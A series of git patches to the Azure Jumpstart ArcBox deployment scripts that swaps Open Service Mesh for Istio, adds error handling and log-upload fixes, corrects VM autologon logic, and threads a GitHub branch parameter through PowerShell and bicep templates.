38a2f82810..d77cb4f582 100644 --- a/azure_jumpstart_arcbox/artifacts/dsc/devops.dsc.yml +++ b/azure_jumpstart_arcbox/artifacts/dsc/devops.dsc.yml @@ -30,4 +30,12 @@ properties: settings: id: Helm.Helm source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: Istio.Istio + directives: + description: Install Istio configuration command line utility + settings: + id: Istio.Istio + source: winget + configurationVersion: 0.2.0 \ No newline at end of file From d47718adc13063a6d48b7ef92ef33ad6f88976da Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Tue, 6 Aug 2024 11:49:28 -0400 Subject: [PATCH 425/506] add error handling --- azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index 87f1860e77..1ca3a7423e 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -378,8 +378,13 @@ $clusters | Foreach-Object -ThrottleLimit 5 -Parallel { Start-Sleep -Seconds 10 - az customlocation create --name $customLocation --resource-group $Env:resourceGroup --namespace arc --host-resource-id $connectedClusterId --cluster-extension-ids $extensionId --only-show-errors - + try { + az customlocation create --name $customLocation --resource-group $Env:resourceGroup --namespace arc --host-resource-id $connectedClusterId --cluster-extension-ids $extensionId + } catch { + Write-Host "Error creating custom location: $_" + Exit + } + Start-Sleep -Seconds 10 # Deploying the Azure Arc Data Controller From 6ec5c5ea9692b975973dbd7ebd5e9a060612c178 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Tue, 6 Aug 2024 12:10:31 -0400 Subject: [PATCH 426/506] add error handling --- azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index 1ca3a7423e..971e8bb346 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -379,7 +379,7 @@ $clusters | Foreach-Object -ThrottleLimit 5 -Parallel { Start-Sleep -Seconds 10 try { - az customlocation create --name $customLocation --resource-group $Env:resourceGroup --namespace arc --host-resource-id $connectedClusterId --cluster-extension-ids $extensionId + az customlocation create --name $customLocation --resource-group $Env:resourceGroup --namespace arc --host-resource-id $connectedClusterId --cluster-extension-ids $extensionId --only-show-errors } catch { Write-Host "Error creating custom location: $_" Exit From 4419874fac90af57f979dd407c13ee16e86fba0a Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Tue, 6 Aug 2024 13:19:55 -0400 Subject: [PATCH 427/506] update error handling --- azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index 971e8bb346..cda7204a2b 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -381,8 +381,8 @@ $clusters | Foreach-Object -ThrottleLimit 5 -Parallel { try { az customlocation create --name $customLocation --resource-group $Env:resourceGroup --namespace arc --host-resource-id $connectedClusterId --cluster-extension-ids $extensionId --only-show-errors } catch { - Write-Host "Error creating custom location: $_" - Exit + Write-Host "Error creating custom location: $_" -ForegroundColor Red + Exit 1 } Start-Sleep -Seconds 10 From 7b30b416f58de8a7a192a0426725222c5bb2dd3e Mon Sep 17 00:00:00 2001 From: Mike Rhoads Date: Tue, 6 Aug 2024 13:29:43 -0500 Subject: [PATCH 428/506] remove OSM refs, add istioctl install, and label namespaces for Istio --- .../artifacts/DevOpsLogonScript.ps1 | 50 +++---------------- 1 file changed, 8 insertions(+), 42 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 531473d363..210749ddee 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -7,9 +7,6 @@ $Env:ArcBoxIconDir = "C:\ArcBox\Icons" $Env:ArcBoxTestsDir = "$Env:ArcBoxDir\Tests" $namingPrefix = ($Env:namingPrefix).toLower() -$osmReleaseVersion = "1.1.1-1" -$osmCLIReleaseVersion = "v1.2.3" -$osmMeshName = "osm" $ingressNamespace = "ingress-nginx" $Env:AZCOPY_AUTO_LOGIN_TYPE = "MSI" @@ -84,12 +81,6 @@ azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "$Env:ArcBoxLogsDir\ # $Env:KUBECONFIG="C:\users\$Env:USERNAME\.kube\config" # kubectx -# Download OSM binaries -Write-Header "Downloading OSM Binaries" -Invoke-WebRequest -Uri "https://github.com/openservicemesh/osm/releases/download/$osmCLIReleaseVersion/osm-$osmCLIReleaseVersion-windows-amd64.zip" -Outfile "$Env:TempDir\osm-$osmCLIReleaseVersion-windows-amd64.zip" -Expand-Archive "$Env:TempDir\osm-$osmCLIReleaseVersion-windows-amd64.zip" -DestinationPath $Env:TempDir -Copy-Item "$Env:TempDir\windows-amd64\osm.exe" -Destination $Env:ToolsDir - Write-Header "Adding Tools Folder to PATH" [System.Environment]::SetEnvironmentVariable('PATH', $Env:PATH + ";$Env:ToolsDir" ,[System.EnvironmentVariableTarget]::Machine) $Env:PATH += ";$Env:ToolsDir" @@ -107,6 +98,9 @@ foreach ($cluster in $clusters) { $nicName = $cluster.clusterName + "-NIC" $k3sVIP = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``true``].privateIPAddress" -otsv + + Write-Header "Installing istio on K3s cluster" + istioctl install --skip-confirmation # Apply kube-vip RBAC manifests https://kube-vip.io/manifests/rbac.yaml $kubeVipRBAC = @" @@ -272,20 +266,6 @@ $kubeVipDaemonset | kubectl apply -f - # kubectl apply -f "$Env:ArcBoxDir\longhorn.yaml" # Start-Sleep -Seconds 30 -# "Create OSM Kubernetes extension instance" -Write-Header "Creating OSM K8s Extension Instance" -$Env:KUBECONFIG=$clusters[0].kubeConfig -kubectx -az k8s-extension create ` - --name $osmMeshName ` - --extension-type Microsoft.openservicemesh ` - --scope cluster ` - --cluster-name $Env:k3sArcDataClusterName ` - --resource-group $Env:resourceGroup ` - --cluster-type connectedClusters ` - --version $osmReleaseVersion ` - --auto-upgrade-minor-version 'false' - # Create Kubernetes Namespaces Write-Header "Creating K8s Namespaces" @@ -293,13 +273,12 @@ foreach ($namespace in @('bookstore', 'bookbuyer', 'bookwarehouse', 'hello-arc', kubectl create namespace $namespace } -# Add the bookstore namespaces to the OSM control plane -Write-Header "Adding Bookstore Namespaces to OSM" -osm namespace add bookstore bookbuyer bookwarehouse +# Label Bookstore Namespaces for Istio injection +Write-Header "Labeling K8s Namespaces for Istio Injection" +foreach ($namespace in @('bookstore', 'bookbuyer', 'bookwarehouse')) { + kubectl label namespace $namespace istio-injection=enabled +} -# To be able to discover the endpoints of this service, we need OSM controller to monitor the corresponding namespace. -# However, Nginx must NOT be injected with an Envoy sidecar to function properly. -osm namespace add "$ingressNamespace" --mesh-name "$osmMeshName" --disable-sidecar-injection ############################# # - Apply GitOps Configs @@ -344,19 +323,6 @@ az k8s-configuration flux create ` --branch main --sync-interval 3s ` --kustomization name=bookstore path=./bookstore/rbac-sample -# Create GitOps config for Bookstore Traffic Split -Write-Host "Creating GitOps config for Bookstore Traffic Split" -az k8s-configuration flux create ` - --cluster-name $Env:k3sArcDataClusterName ` - --resource-group $Env:resourceGroup ` - --name config-bookstore-osm ` - --cluster-type connectedClusters ` - --scope namespace ` - --namespace bookstore ` - --url $appClonedRepo ` - --branch main --sync-interval 3s ` - --kustomization name=bookstore path=./bookstore/osm-sample - # Create GitOps config for Hello-Arc application Write-Host "Creating GitOps config for Hello-Arc application" az k8s-configuration flux create ` From c5eca1e3a27d1b57b2c76e92e0849fd69fc47936 Mon Sep 17 00:00:00 2001 From: Mike Rhoads Date: Tue, 6 Aug 2024 13:48:53 -0500 Subject: [PATCH 429/506] use arcbox_3.0 branch for Bookstore config --- azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 210749ddee..f83fcd9cc5 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -307,7 +307,7 @@ az k8s-configuration flux create ` --name config-bookstore ` --cluster-type connectedClusters ` --url $appClonedRepo ` - --branch main --sync-interval 3s ` + --branch arcbox_3.0 --sync-interval 3s ` --kustomization name=bookstore path=./bookstore/yaml # Create GitOps config for Bookstore RBAC @@ -320,7 +320,7 @@ az k8s-configuration flux create ` --scope namespace ` --namespace bookstore ` --url $appClonedRepo ` - --branch main --sync-interval 3s ` + --branch main--sync-interval 3s ` --kustomization name=bookstore path=./bookstore/rbac-sample # Create GitOps config for Hello-Arc application From 29c23b2042593398a8ec5bcacf98dd8d4c6893e0 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 7 Aug 2024 12:50:37 +0300 Subject: [PATCH 430/506] waiting for role assignments --- azure_jumpstart_arcbox/artifacts/installK3s.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index f3fa99b325..5dc316a06f 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -198,6 +198,7 @@ fi echo "" echo "Uploading the script logs to staging storage" echo "" +sleep 60 log="/home/$adminUsername/jumpstart_logs/installK3s-$vmName.log" storageContainerNameLower=$(echo $storageContainerName | tr '[:upper:]' '[:lower:]') azcopy cp $log "https://$stagingStorageAccountName.blob.core.windows.net/$storageContainerNameLower/installK3s-$vmName.log" \ No newline at end of file From 8e137dc9142eb740b5bd0411db6b3b6346b671e6 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Wed, 7 Aug 2024 16:00:05 +0000 Subject: [PATCH 431/506] Bugfix - VM Autologon configuration Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 966ca6711a..8ab272f55e 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -113,7 +113,7 @@ New-Item -Path $Env:ArcBoxTestsDir -ItemType directory -Force Start-Transcript -Path $Env:ArcBoxLogsDir\Bootstrap.log -if ([bool]$vmAutologon) { +if ($vmAutologon -eq "true") { Write-Host "Configuring VM Autologon" @@ -123,6 +123,10 @@ if ([bool]$vmAutologon) { if($flavor -eq "DataOps"){ Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" "DefaultDomainName" "jumpstart.local" } +} else { + + Write-Host "Not configuring VM Autologon" + } # Set SyncForegroundPolicy to 1 to ensure that the scheduled task runs after the client VM joins the domain From cae22fb02335117816df644ffdcd277d0109091d Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Wed, 7 Aug 2024 17:32:07 -0400 Subject: [PATCH 432/506] remove nginx --- .../artifacts/DevOpsLogonScript.ps1 | 26 +++++++++---------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index d41b6a9fbb..55de0c5070 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -288,18 +288,18 @@ foreach ($namespace in @('bookstore', 'bookbuyer', 'bookwarehouse')) { Write-Header "Applying GitOps Configs" -# Create GitOps config for NGINX Ingress Controller -Write-Host "Creating GitOps config for NGINX Ingress Controller" -az k8s-configuration flux create ` - --cluster-name $Env:k3sArcDataClusterName ` - --resource-group $Env:resourceGroup ` - --name config-nginx ` - --namespace $ingressNamespace ` - --cluster-type connectedClusters ` - --scope cluster ` - --url $appClonedRepo ` - --branch main --sync-interval 3s ` - --kustomization name=nginx path=./nginx/release +# # Create GitOps config for NGINX Ingress Controller +# Write-Host "Creating GitOps config for NGINX Ingress Controller" +# az k8s-configuration flux create ` +# --cluster-name $Env:k3sArcDataClusterName ` +# --resource-group $Env:resourceGroup ` +# --name config-nginx ` +# --namespace $ingressNamespace ` +# --cluster-type connectedClusters ` +# --scope cluster ` +# --url $appClonedRepo ` +# --branch main --sync-interval 3s ` +# --kustomization name=nginx path=./nginx/release # Create GitOps config for Bookstore application Write-Host "Creating GitOps config for Bookstore application" @@ -309,7 +309,7 @@ az k8s-configuration flux create ` --name config-bookstore ` --cluster-type connectedClusters ` --url $appClonedRepo ` - --branch arcbox_3.0 --sync-interval 3s ` + --branch "arcbox_3.0" --sync-interval 3s ` --kustomization name=bookstore path=./bookstore/yaml # Create GitOps config for Bookstore RBAC From 13235a683a38297fbc7df3c14b3f9d66f5a7e79a Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Wed, 7 Aug 2024 22:01:42 -0400 Subject: [PATCH 433/506] update k3s script output --- azure_jumpstart_arcbox/artifacts/installK3s.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index 5dc316a06f..e60763d3aa 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -198,6 +198,7 @@ fi echo "" echo "Uploading the script logs to staging storage" echo "" +exec > /dev/tty 2>&1 # Redirecting output to terminal to upload logs to storage sleep 60 log="/home/$adminUsername/jumpstart_logs/installK3s-$vmName.log" storageContainerNameLower=$(echo $storageContainerName | tr '[:upper:]' '[:lower:]') From d48ef52a5754d68f3830895bb5860526c7790b47 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Wed, 7 Aug 2024 22:13:12 -0400 Subject: [PATCH 434/506] update k3s script output --- azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 55de0c5070..7d4594c118 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -257,18 +257,12 @@ $kubeVipDaemonset | kubectl apply -f - kubectl create configmap -n kube-system kubevip --from-literal range-global=$lowestServiceIp-$highestServiceIp Start-Sleep -Seconds 30 - Write-Header "Creating longhorn storage on K3scluster" + Write-Header "Creating longhorn storage on $($cluster.clusterName)" kubectl apply -f "$Env:ArcBoxDir\longhorn.yaml" --kubeconfig $cluster.kubeConfig Start-Sleep -Seconds 30 Write-Host "`n" } -# # Longhorn setup for RWX-capable storage class -# Write-Header "Creating longhorn storage" -# kubectl apply -f "$Env:ArcBoxDir\longhorn.yaml" -# Start-Sleep -Seconds 30 - - # Create Kubernetes Namespaces Write-Header "Creating K8s Namespaces" foreach ($namespace in @('bookstore', 'bookbuyer', 'bookwarehouse', 'hello-arc', 'ingress-nginx')) { From c4dba9a191f0abdf1381f61847ff1030ae3d8114 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Wed, 7 Aug 2024 22:24:38 -0400 Subject: [PATCH 435/506] Fix kubeconfig for k3s arc data cluster --- azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 7d4594c118..69cac609b1 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -263,6 +263,9 @@ $kubeVipDaemonset | kubectl apply -f - Write-Host "`n" } +# Set the KUBECONFIG environment variable to the K3s Arc Data Cluster +$Env:KUBECONFIG="C:\Users\$Env:adminUsername\.kube\config" + # Create Kubernetes Namespaces Write-Header "Creating K8s Namespaces" foreach ($namespace in @('bookstore', 'bookbuyer', 'bookwarehouse', 'hello-arc', 'ingress-nginx')) { @@ -275,7 +278,6 @@ foreach ($namespace in @('bookstore', 'bookbuyer', 'bookwarehouse')) { kubectl label namespace $namespace istio-injection=enabled } - ############################# # - Apply GitOps Configs ############################# From 6015ee5eaa4d4153658edadce06a30f7a2965d32 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Wed, 7 Aug 2024 22:55:35 -0400 Subject: [PATCH 436/506] add condition to kubeconfig --- azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 69cac609b1..493b577c4a 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -263,8 +263,12 @@ $kubeVipDaemonset | kubectl apply -f - Write-Host "`n" } -# Set the KUBECONFIG environment variable to the K3s Arc Data Cluster -$Env:KUBECONFIG="C:\Users\$Env:adminUsername\.kube\config" +foreach ($cluster in $clusters) { + if ($cluster.context -like '*-datasvc-k3s') { + $Env:KUBECONFIG=$cluster.kubeConfig + kubectx + } +} # Create Kubernetes Namespaces Write-Header "Creating K8s Namespaces" From a108425fe9a86fb92b3ee4e2a2fdc3a503cb1f3d Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Wed, 7 Aug 2024 23:34:44 -0400 Subject: [PATCH 437/506] update gitops config --- azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 493b577c4a..3e40202cdd 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -309,7 +309,7 @@ az k8s-configuration flux create ` --name config-bookstore ` --cluster-type connectedClusters ` --url $appClonedRepo ` - --branch "arcbox_3.0" --sync-interval 3s ` + --branch arcbox_3.0 --sync-interval 3s ` --kustomization name=bookstore path=./bookstore/yaml # Create GitOps config for Bookstore RBAC @@ -322,7 +322,7 @@ az k8s-configuration flux create ` --scope namespace ` --namespace bookstore ` --url $appClonedRepo ` - --branch main--sync-interval 3s ` + --branch main --sync-interval 3s ` --kustomization name=bookstore path=./bookstore/rbac-sample # Create GitOps config for Hello-Arc application From b8cc2d92a29b1d9ab6588d295cfb4e8778a020fd Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Thu, 8 Aug 2024 00:48:04 -0400 Subject: [PATCH 438/506] restore orginal stdout --- azure_jumpstart_arcbox/artifacts/installK3s.sh | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index e60763d3aa..78d8b87d73 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -29,6 +29,9 @@ sed -i '10s/^/export k3sControlPlane=/' vars.sh export vmName=$3 +# Save the original stdout and stderr +exec 3>&1 4>&2 + exec >installK3s-${vmName}.log exec 2>&1 @@ -198,7 +201,9 @@ fi echo "" echo "Uploading the script logs to staging storage" echo "" -exec > /dev/tty 2>&1 # Redirecting output to terminal to upload logs to storage +# Restore the original stdout and stderr +exec 1>&3 2>&4 # Further commands will now output to the original stdout and stderr and not the log file + sleep 60 log="/home/$adminUsername/jumpstart_logs/installK3s-$vmName.log" storageContainerNameLower=$(echo $storageContainerName | tr '[:upper:]' '[:lower:]') From 04878bdb18bee284f48313c1025115d3135048f3 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Thu, 8 Aug 2024 01:15:14 -0400 Subject: [PATCH 439/506] uncomment ingress --- .../artifacts/DevOpsLogonScript.ps1 | 24 +++++++++---------- 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 3e40202cdd..7f15d1fc5a 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -288,18 +288,18 @@ foreach ($namespace in @('bookstore', 'bookbuyer', 'bookwarehouse')) { Write-Header "Applying GitOps Configs" -# # Create GitOps config for NGINX Ingress Controller -# Write-Host "Creating GitOps config for NGINX Ingress Controller" -# az k8s-configuration flux create ` -# --cluster-name $Env:k3sArcDataClusterName ` -# --resource-group $Env:resourceGroup ` -# --name config-nginx ` -# --namespace $ingressNamespace ` -# --cluster-type connectedClusters ` -# --scope cluster ` -# --url $appClonedRepo ` -# --branch main --sync-interval 3s ` -# --kustomization name=nginx path=./nginx/release +# Create GitOps config for NGINX Ingress Controller +Write-Host "Creating GitOps config for NGINX Ingress Controller" +az k8s-configuration flux create ` + --cluster-name $Env:k3sArcDataClusterName ` + --resource-group $Env:resourceGroup ` + --name config-nginx ` + --namespace $ingressNamespace ` + --cluster-type connectedClusters ` + --scope cluster ` + --url $appClonedRepo ` + --branch main --sync-interval 3s ` + --kustomization name=nginx path=./nginx/release # Create GitOps config for Bookstore application Write-Host "Creating GitOps config for Bookstore application" From 9f3dfab18bfb2e1e9e6bbcc91acdc41b5ff858d6 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Thu, 8 Aug 2024 06:57:48 +0000 Subject: [PATCH 440/506] Update Bootstrap.ps1 to set the `githubBranch` environment variable in the Azure Jumpstart Arcbox artifacts. Update K3sGitOps.ps1 to use the `githubBranch` environment variable when creating the Flux configuration. Update clientVm.bicep and main.bicep to add the `githubBranch` parameter and pass it to the client VM deployment module. Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 2 ++ .../artifacts/gitops_scripts/K3sGitOps.ps1 | 12 ++++++------ azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep | 5 ++++- azure_jumpstart_arcbox/bicep/main.bicep | 1 + 4 files changed, 13 insertions(+), 7 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 8ab272f55e..1470519c67 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -25,6 +25,7 @@ param ( [string]$k3sArcClusterName, [string]$aksArcClusterName, [string]$aksdrArcClusterName, + [string]$githubBranch, [string]$githubUser, [string]$templateBaseUrl, [string]$flavor, @@ -57,6 +58,7 @@ param ( [System.Environment]::SetEnvironmentVariable('workspaceName', $workspaceName, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('k3sArcDataClusterName', $k3sArcDataClusterName, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('k3sArcClusterName', $k3sArcClusterName, [System.EnvironmentVariableTarget]::Machine) +[System.Environment]::SetEnvironmentVariable('githubBranch', $githubBranch, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('githubUser', $githubUser, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('templateBaseUrl', $templateBaseUrl, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('flavor', $flavor, [System.EnvironmentVariableTarget]::Machine) diff --git a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 index 03c8705a13..70d46ef4ef 100644 --- a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 +++ b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 @@ -43,7 +43,7 @@ az k8s-configuration flux create ` --cluster-type connectedClusters ` --scope cluster ` --url $appClonedRepo ` - --branch main --sync-interval 3s ` + --branch $Env:githubBranch --sync-interval 3s ` --kustomization name=nginx path=./nginx/release # Create GitOps config for Hello-Arc application @@ -105,7 +105,7 @@ foreach ($configName in $configs) { # --password "arcbox" ` # --name $certname ` # --file "$Env:TempDir\$certname.pfx" - + # Write-Host "Installing Azure Key Vault Kubernetes extension instance" # az k8s-extension create ` # --name 'akvsecretsprovider' ` @@ -129,17 +129,17 @@ foreach ($configName in $configs) { # name: azure-kv-sync-tls # spec: # provider: azure -# secretObjects: # secretObjects defines the desired state of synced K8s secret objects +# secretObjects: # secretObjects defines the desired state of synced K8s secret objects # - secretName: ingress-tls-csi # type: kubernetes.io/tls -# data: +# data: # - objectName: "$certname" # key: tls.key # - objectName: "$certname" # key: tls.crt # parameters: # usePodIdentity: "false" -# keyvaultName: $Env:keyVaultName +# keyvaultName: $Env:keyVaultName # objects: | # array: # - | @@ -176,7 +176,7 @@ foreach ($configName in $configs) { # volumeAttributes: # secretProviderClass: "azure-kv-sync-tls" # nodePublishSecretRef: -# name: secrets-store-creds +# name: secrets-store-creds # "@ # Write-Host "Deploying App referencing the secret" diff --git a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep index d5a27c8c42..5b30aa58ea 100644 --- a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep +++ b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep @@ -89,6 +89,9 @@ param deployBastion bool = false @description('User github account where they have forked https://github.com/microsoft/azure-arc-jumpstart-apps') param githubUser string +@description('Git branch to use from the forked repo https://github.com/microsoft/azure-arc-jumpstart-apps') +param githubBranch string + @description('The name of the K3s cluster') param k3sArcClusterName string = '${namingPrefix}-K3s' @@ -235,7 +238,7 @@ resource vmBootstrap 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = fileUris: [ uri(templateBaseUrl, 'artifacts/Bootstrap.ps1') ] - commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${windowsAdminPassword} -tenantId ${tenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azdataUsername ${azdataUsername} -azdataPassword ${azdataPassword} -acceptEula ${acceptEula} -registryUsername ${registryUsername} -registryPassword ${registryPassword} -arcDcName ${arcDcName} -azureLocation ${location} -mssqlmiName ${mssqlmiName} -POSTGRES_NAME ${postgresName} -POSTGRES_WORKER_NODE_COUNT ${postgresWorkerNodeCount} -POSTGRES_DATASIZE ${postgresDatasize} -POSTGRES_SERVICE_TYPE ${postgresServiceType} -stagingStorageAccountName ${stagingStorageAccountName} -workspaceName ${workspaceName} -templateBaseUrl ${templateBaseUrl} -flavor ${flavor} -k3sArcDataClusterName ${k3sArcDataClusterName} -k3sArcClusterName ${k3sArcClusterName} -aksArcClusterName ${aksArcClusterName} -aksdrArcClusterName ${aksdrArcClusterName} -githubUser ${githubUser} -vmAutologon ${vmAutologon} -rdpPort ${rdpPort} -addsDomainName ${addsDomainName} -customLocationRPOID ${customLocationRPOID} -resourceTags ${resourceTags} -namingPrefix ${namingPrefix} -debugEnabled ${debugEnabled}' + commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${windowsAdminPassword} -tenantId ${tenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azdataUsername ${azdataUsername} -azdataPassword ${azdataPassword} -acceptEula ${acceptEula} -registryUsername ${registryUsername} -registryPassword ${registryPassword} -arcDcName ${arcDcName} -azureLocation ${location} -mssqlmiName ${mssqlmiName} -POSTGRES_NAME ${postgresName} -POSTGRES_WORKER_NODE_COUNT ${postgresWorkerNodeCount} -POSTGRES_DATASIZE ${postgresDatasize} -POSTGRES_SERVICE_TYPE ${postgresServiceType} -stagingStorageAccountName ${stagingStorageAccountName} -workspaceName ${workspaceName} 